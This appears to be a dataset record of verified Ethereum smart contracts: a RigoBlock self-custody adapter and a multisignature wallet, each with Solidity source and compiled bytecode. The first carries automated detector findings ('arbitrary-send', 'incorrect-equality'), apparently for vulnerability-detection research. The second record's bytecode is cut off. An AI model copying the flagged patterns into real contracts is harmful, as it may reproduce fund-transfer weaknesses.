/** *Submitted for verification at Etherscan.io on 2021-01-11 */ /* Copyright 2019 RigoBlock, Gabriele Rigo. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // solhint-disable-next-line pragma solidity =0.7.6; contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } } interface Token { function transfer(address _to, uint256 _value) external returns (bool success); function balanceOf(address _who) external view returns (uint256); } interface DragoEventful { function customDragoLog(bytes4 _methodHash, bytes calldata _encodedParams) external returns (bool success); } abstract contract Drago { address public owner; function getEventful() external view virtual returns (address); } /// @title Self Custody adapter - A helper contract for self custody. /// @author Gabriele Rigo - <[email protected]> // solhint-disable-next-line contract ASelfCustody is SafeMath { // Mainnet GRG Address address constant private GRG_ADDRESS = address(0x4FbB350052Bca5417566f188eB2EBCE5b19BC964); // Ropsten GRG Address // address constant private GRG_ADDRESS = address(0x6FA8590920c5966713b1a86916f7b0419411e474); uint256 constant internal MIN_TOKEN_VALUE = 1e21; bytes4 private constant SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)"))); /// @dev transfers ETH or tokens to self custody. /// @param selfCustodyAccount Address of the target account. /// @param token Address of the target token. /// @param amount Number of tokens. /// @return Bool the transaction was successful. /// @return Number of GRG pool operator shortfall. /// @notice Transfeer of tokens excluded from GRG requirement for now. function transferToSelfCustody( address payable selfCustodyAccount, address token, uint256 amount) external returns (bool, uint256) { require( Drago( address(this) ).owner() == msg.sender, "FAIL_OWNER_CHECK" ); require(amount != uint256(0)); (bool satisfied, uint256 shortfall) = _poolGRGminimumSatisfied(GRG_ADDRESS, token, amount); if (satisfied == true) { require( transferToSelfCustodyInternal(selfCustodyAccount, token, amount), "TRANSFER_FAIL_GRG_REQ_SATISFIED_ERROR" ); require( logTransferToSelfCustody(selfCustodyAccount, token, amount), "LOG_FAIL_GRG_REQ_SATISFIED_ERROR" ); return (true, shortfall); } else { return (false, shortfall); } } /// @dev external check if minimum pool GRG amount requirement satisfied. /// @param grgTokenAddress Address of the Rigo token. /// @param tokenAddress Address of the token to be transferred. /// @param amount Number of tokens to be transferred. /// @return satisfied Bool the transaction was successful. /// @return shortfall Number of GRG pool operator shortfall. /// @notice built around powers of pi number. function poolGRGminimumSatisfied ( address grgTokenAddress, address tokenAddress, uint256 amount ) external view returns (bool satisfied, uint256 shortfall) { return _poolGRGminimumSatisfied(grgTokenAddress, tokenAddress, amount); } /* * INTERNAL FUNCTIONS */ /// @dev checks if minimum pool GRG amount requirement satisfied. /// @param grgTokenAddress Address of the Rigo token. /// @param tokenAddress Address of the token to be transferred. /// @param amount Number of tokens to be transferred. /// @return satisfied Bool the transaction was successful. /// @return shortfall Number of GRG pool operator shortfall. /// @notice built around powers of pi number. function _poolGRGminimumSatisfied( address grgTokenAddress, address tokenAddress, uint256 amount ) internal view returns (bool satisfied, uint256 shortfall) { uint256 etherBase = 18; uint256 rationalBase = 36; uint256 rationalizedAmountBase36 = safeMul(amount, 10 ** (rationalBase - etherBase)); uint256 poolRationalizedGrgBalanceBase36 = Token(grgTokenAddress).balanceOf(address(this)) * (10 ** (rationalBase - etherBase)); if (tokenAddress != address(0)) { uint256 poolGrgBalance = Token(grgTokenAddress).balanceOf(address(this)); satisfied = poolGrgBalance >= MIN_TOKEN_VALUE; shortfall = poolGrgBalance < MIN_TOKEN_VALUE ? MIN_TOKEN_VALUE - poolGrgBalance : uint256(0); } else if (rationalizedAmountBase36 < findPi2()) { if (poolRationalizedGrgBalanceBase36 < findPi4()) { satisfied = false; shortfall = safeDiv(findPi4() - poolRationalizedGrgBalanceBase36, (10 ** (rationalBase - etherBase))); } else { satisfied = true; shortfall = uint256(0); } } else if (rationalizedAmountBase36 < findPi3()) { if (poolRationalizedGrgBalanceBase36 < findPi5()) { satisfied = false; shortfall = safeDiv(findPi5() - poolRationalizedGrgBalanceBase36, (10 ** (rationalBase - etherBase))); } else { satisfied = true; shortfall = uint256(0); } } else if (rationalizedAmountBase36 >= findPi3()) { if (poolRationalizedGrgBalanceBase36 < findPi6()) { satisfied = false; shortfall = safeDiv(findPi6() - poolRationalizedGrgBalanceBase36, (10 ** (rationalBase - etherBase))); } else { satisfied = true; shortfall = uint256(0); } } else { revert("UNKNOWN_GRG_MINIMUM_ERROR"); } return (satisfied, shortfall); } /// @dev returns the base 36 value of pi number. /// @return pi1 Value of pi. function findPi() internal pure returns (uint256 pi1) { uint8 power = 1; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi1 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev returns the base 36 value of pi^2 number. /// @return pi2 Value of pi^2. function findPi2() internal pure returns (uint256 pi2) { uint8 power = 2; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi2 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev returns the base 36 value of pi^3 number. /// @return pi3 Value of pi^3. function findPi3() internal pure returns (uint256 pi3) { uint8 power = 3; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi3 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev returns the base 36 value of pi^4 number. /// @return pi4 Value of pi^4. function findPi4() internal pure returns (uint256 pi4) { uint8 power = 4; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi4 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev returns the base 36 value of pi^5 number. /// @return pi5 Value of pi^5. function findPi5() internal pure returns (uint256 pi5) { uint8 power = 5; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi5 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev returns the base 36 value of pi^6 number. /// @return pi6 Value of pi^6. function findPi6() internal pure returns (uint256 pi6) { uint8 power = 6; uint256 pi = 3141592; uint256 piBase = 6; uint256 rationalBase = 36; pi6 = pi ** power * 10 ** (rationalBase - piBase * power); } /// @dev prints a custom log of the transfer. /// @param selfCustodyAccount Address of the self custody account. /// @param token Address of the token transferred. /// @param amount Number of tokens. /// @return Bool the log is printed correctly. function logTransferToSelfCustody( address selfCustodyAccount, address token, uint256 amount) internal returns (bool) { DragoEventful events = DragoEventful(getDragoEventful()); bytes4 methodHash = bytes4(keccak256("transferToSelfCustody(address,address,uint256)")); bytes memory encodedParams = abi.encode( address(this), selfCustodyAccount, token, amount ); require( events.customDragoLog(methodHash, encodedParams), "ISSUE_IN_EVENTFUL" ); return true; } /// @dev executes the ETH or token transfer. /// @param selfCustodyAccount Address of the self custody account. /// @param token Address of the target token. /// @param amount Number of tokens to be transferred. /// @return success Bool the transfer executed correctly. function transferToSelfCustodyInternal( address payable selfCustodyAccount, address token, uint256 amount) internal returns (bool success) { if (token == address(0)) { selfCustodyAccount.transfer(amount); success = true; } else { _safeTransfer(token, selfCustodyAccount, amount); success = true; } return success; } /// @dev executes a safe transfer to any ERC20 token /// @param token Address of the origin /// @param to Address of the target /// @param value Amount to transfer function _safeTransfer(address token, address to, uint value) private { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "RIGOBLOCK_TRANSFER_FAILED" ); } /// @dev Gets the address of the logger contract. /// @return Address of the logger contrac. function getDragoEventful() internal view returns (address) { address dragoEvenfulAddress = Drago( address(this) ).getEventful(); return dragoEvenfulAddress; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063318698a71461003b578063577d5920146100c6575b600080fd5b6100a76004803603606081101561005157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610151565b6040518083151581526020018281526020019250505060405180910390f35b610132600480360360608110156100dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506103b3565b6040518083151581526020018281526020019250505060405180910390f35b6000803373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101b157600080fd5b505afa1580156101c5573d6000803e3d6000fd5b505050506040513d60208110156101db57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614610275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4641494c5f4f574e45525f434845434b0000000000000000000000000000000081525060200191505060405180910390fd5b600083141561028357600080fd5b6000806102a5734fbb350052bca5417566f188eb2ebce5b19bc96487876103cd565b915091506001151582151514156103a1576102c187878761071a565b610316576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610e3b6025913960400191505060405180910390fd5b6103218787876107b7565b610393576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4c4f475f4641494c5f4752475f5245515f5341544953464945445f4552524f5281525060200191505060405180910390fd5b6001819350935050506103ab565b6000819350935050505b935093915050565b6000806103c18585856103cd565b91509150935093915050565b60008060006012905060006024905060006103ed86848403600a0a610a01565b90506000838303600a0a8973ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561045e57600080fd5b505afa158015610472573d6000803e3d6000fd5b505050506040513d602081101561048857600080fd5b8101908080519060200190929190505050029050600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146105b15760008973ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561053957600080fd5b505afa15801561054d573d6000803e3d6000fd5b505050506040513d602081101561056357600080fd5b81019080805190602001909291905050509050683635c9adc5dea000008110159650683635c9adc5dea00000811061059c5760006105a9565b80683635c9adc5dea00000035b95505061070e565b6105b9610a30565b821015610600576105c8610a66565b8110156105f257600095506105eb816105df610a66565b03858503600a0a610a9c565b94506105fb565b60019550600094505b61070d565b610608610ad5565b82101561064f57610617610b0b565b811015610641576000955061063a8161062e610b0b565b03858503600a0a610a9c565b945061064a565b60019550600094505b61070c565b610657610ad5565b821061069d57610665610b41565b81101561068f57600095506106888161067c610b41565b03858503600a0a610a9c565b9450610698565b60019550600094505b61070b565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f554e4b4e4f574e5f4752475f4d494e494d554d5f4552524f520000000000000081525060200191505060405180910390fd5b5b5b5b50505050935093915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107a0578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610796573d6000803e3d6000fd5b50600190506107b0565b6107ab838584610b77565b600190505b9392505050565b6000806107c2610dad565b905060007f318698a712b5a4e85f79dcbf539778bcd988a5938f508e6679d4764481c43ace9050600030878787604051602001808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405160208183030381529060405290508273ffffffffffffffffffffffffffffffffffffffff1663587fef5483836040518363ffffffff1660e01b815260040180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108f95780820151818401526020810190506108de565b50505050905090810190601f1680156109265780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561094657600080fd5b505af115801561095a573d6000803e3d6000fd5b505050506040513d602081101561097057600080fd5b81019080805190602001909291905050506109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f49535355455f494e5f4556454e5446554c00000000000000000000000000000081525060200191505060405180910390fd5b600193505050509392505050565b60008082840290506000841480610a20575082848281610a1d57fe5b04145b610a2657fe5b8091505092915050565b600080600290506000622fefd890506000600690506000602490508360ff1682028103600a0a8460ff16840a0294505050505090565b600080600490506000622fefd890506000600690506000602490508360ff1682028103600a0a8460ff16840a0294505050505090565b6000808211610aa757fe5b6000828481610ab257fe5b049050828481610abe57fe5b06818402018414610acb57fe5b8091505092915050565b600080600390506000622fefd890506000600690506000602490508360ff1682028103600a0a8460ff16840a0294505050505090565b600080600590506000622fefd890506000600690506000602490508360ff1682028103600a0a8460ff16840a0294505050505090565b600080600690506000622fefd890506000600690506000602490508360ff1682028103600a0a8460ff16840a0294505050505090565b6000808473ffffffffffffffffffffffffffffffffffffffff166040518060400160405280601981526020017f7472616e7366657228616464726573732c75696e743235362900000000000000815250805190602001208585604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610c8d5780518252602082019150602081019050602083039250610c6a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610cef576040519150601f19603f3d011682016040523d82523d6000602084013e610cf4565b606091505b5091509150818015610d345750600081511480610d335750808060200190516020811015610d2157600080fd5b81019080805190602001909291905050505b5b610da6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5249474f424c4f434b5f5452414e534645525f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000803073ffffffffffffffffffffffffffffffffffffffff1663837929b66040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d6020811015610e2057600080fd5b81019080805190602001909291905050509050809150509056fe5452414e534645525f4641494c5f4752475f5245515f5341544953464945445f4552524f52a26469706673582212208af028350b10add7b9671444bb6c02599d03d2ac4bca1d165bf2cbd4cb47b96e64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,602
0xb6222b8b997cf651da7df80a78f96c6c3d007bba
pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filters are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d58565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d87565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611012565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610416600480360381019080803590602001909291905050506110f7565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111c2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611345565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114b6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be6116f3565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506116f9565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117ab565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611984565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119a3565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119a8565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cc1565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b9190611fc7565b506003805490506004541115610b4a57610b496003805490506116f9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c8457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1257838015610dc6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610df95750828015610df8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e05576001820191505b8080600101915050610d8f565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eab57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b6001600380549050016004546032821180610eea57508181115b80610ef55750600081145b80610f005750600082145b15610f0a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ef5760016000858152602001908152602001600020600060038381548110151561105057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110cf576001820191505b6004548214156110e257600192506110f0565b808060010191505061101f565b5b5050919050565b600080600090505b6003805490508110156111bc5760016000848152602001908152602001600020600060038381548110151561113057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af576001820191505b80806001019150506110ff565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561129a5780601f1061126f5761010080835404028352916020019161129a565b820191906000526020600020905b81548152906001019060200180831161127d57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561133b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112f1575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561137c5781602001602082028038833980